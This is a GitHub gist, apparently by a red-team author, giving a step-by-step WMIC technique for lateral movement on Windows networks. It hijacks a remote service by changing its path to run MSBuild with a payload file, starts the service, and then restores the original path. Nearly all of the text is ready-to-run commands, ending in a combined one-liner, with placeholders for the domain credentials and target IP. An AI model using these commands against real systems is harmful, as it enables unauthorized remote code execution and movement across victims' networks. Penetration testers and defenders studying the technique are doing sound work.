Skip to content

Instantly share code, notes, and snippets.

@G0ldenGunSec
Created December 11, 2019 14:55
Show Gist options
  • Star 26 You must be signed in to star a gist
  • Fork 15 You must be signed in to fork a gist
  • Save G0ldenGunSec/80a00087cd10336c6954a2c955746ba9 to your computer and use it in GitHub Desktop.
Save G0ldenGunSec/80a00087cd10336c6954a2c955746ba9 to your computer and use it in GitHub Desktop.
WMIC Service Modification for Lateral Movement
As always, only for use on networks you own or have permission to test against.
Similar functionality to SpiderLabs SCShell (https://github.com/SpiderLabs/SCShell) but from the command line using WMIC to run commands on other systems remotely.
If attempting to run multiple commands, SCShell will probably be move convenient as it automates the below steps. However, for one-offs this works fine as well.
The process involves a total of four commands, three of which can be combined on the command line to form one large block.
Step 1: Get the current pathName of your target service so we can restore it once we've ran our command (in our case XblAuthManager)
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' get pathName
Step 2: Change the pathName to whatever command you're wanting to run
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\testPayload.xml"
Step 3: Start the modified service
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call startservice
Step 4: Change the service pathName back to its original value
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:\Windows\system32\svchost.exe -k netsvcs"
As to combining these commands - step 1 should be ran by itself so you can configure step 4 appropriately, but 2-4 can all be ran together in one block as follows:
wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\testPayload.xml" & wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call startservice & wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:\Windows\system32\svchost.exe -k netsvcs"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment